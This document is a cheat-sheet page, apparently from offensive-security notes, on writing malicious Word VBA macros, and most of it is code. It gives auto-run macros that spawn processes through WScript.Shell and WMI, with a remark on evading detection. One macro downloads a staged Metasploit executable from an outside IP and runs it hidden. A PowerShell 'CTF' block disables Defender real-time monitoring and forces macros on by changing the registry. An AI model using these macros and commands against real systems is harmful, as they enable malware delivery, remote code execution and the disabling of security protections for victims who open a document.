# Word Macros

**Macros** can be written from scratch in **Visual Basic for Applications (VBA)**, which is a powerful scripting language with full access to **ActiveX objects** and the **Windows Script Host**, similar to **JavaScript in HTML Applications**.

Bear in mind that older client-side attack vectors, including **Dynamic Data Exchange (DDE)** and various **Object Linking and Embedding (OLE)** methods do not work well today without significant target system modification.

## Creating Doc Macros

### Basics

```
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    CreateObject("Wscript.Shell").Run Str
End Sub
```

```
Dim shell As Object
Set shell = CreateObject("wscript.Shell")
shell.run "calc"

//NOTE IT WILL CREATE A CHILD PROCESS WHICH IS DETECTED EASYLY


```

## Will not create a Child Process but require admin

```
Dim shell As Object
Set shell = GetObject("winmgmt:\\.\root\cimv2:Win32_Process")
shell.Create "calc"

Sub My_Macro()

    ' Create an instance of WMI Service
    Set objWMIService = GetObject("winmgmt:\\.\root\cimv2")

    ' Execute a command (cmd.exe stays open)
    objWMIService.Get("Win32_Process").Create "cmd.exe /k echo Macro Executed"

    ' Cleanup
    Set objWMIService = Nothing

End Sub


```

## Running PowerShell

```
Sub Document_Open()
    MyMacro
End Sub
 
Sub AutoOpen()
    MyMacro
End Sub
 
Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe','msfstaged.exe')"
    shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path + "\msfstaged.exe"
    Wait (2)
    shell exePath, vbHide
 
End Sub
 
Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub
```

### Calling WinAPI using VB

```
' Step 1: Declare the Windows API Function
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
    (ByVal lpBuffer As String, ByRef nSize As Long) As Long

' Step 2: Implement the VBA Function to Retrieve Username
Function GetWindowsUsername()
    Dim res As Long
    Dim MyBuff As String * 256  ' Buffer for username (256 bytes)
    Dim MySize As Long
    Dim StrLength As Long

    ' Set buffer size
    MySize = 256

    ' Call the API function
    res = GetUserName(MyBuff, MySize)

    ' Find the null character that terminates the string
    StrLength = InStr(1, MyBuff, vbNullChar) - 1

    ' Extract the username (excluding null characters)
    If StrLength > 0 Then
        GetWindowsUsername = Left$(MyBuff, StrLength)
    Else
        GetWindowsUsername = "Error retrieving username"
    End If
End Function

' Step 3: Display Username in a Message Box
Sub ShowUsername()
    MsgBox "Current User: " & GetWindowsUsername(), vbInformation, "User Info"
End Sub

' Step 4: Automate Execution on Document Open
Sub AutoOpen()
    ShowUsername
End Sub

Sub Document_Open()
    ShowUsername
End Sub

```

### Usefull for CTFs

```
# Loop for doc file and execute MyMacro
If (Test-Path C:\Users\Administrator\Documents\webapp\ticket.doc)
{
    $setup = Get-Process Setup32 -ErrorAction SilentlyContinue
    if ($setup) {
        exit
    }

    try { Start-Process WINWORD } catch { exit}
    Set-MpPreference -DisableRealtimeMonitoring $true
    
    Start-Sleep -Seconds 10
    Stop-Process -Name "WINWORD" -Force
    New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security -Name "VBAWarnings" -Value "1" -PropertyType DWORD -Force
    Move-Item -Path C:\Users\Administrator\Documents\webapp\ticket.doc -Destination C:\Users\Administrator\Documents\ticket.doc
    Unblock-File -Path C:\Users\Administrator\Documents\ticket.doc
    Start-Process -FilePath "C:\Users\Administrator\Documents\ticket.doc" 
    Start-Sleep -Seconds 20
    Remove-Item C:\Users\Administrator\Documents\ticket.doc
}

```
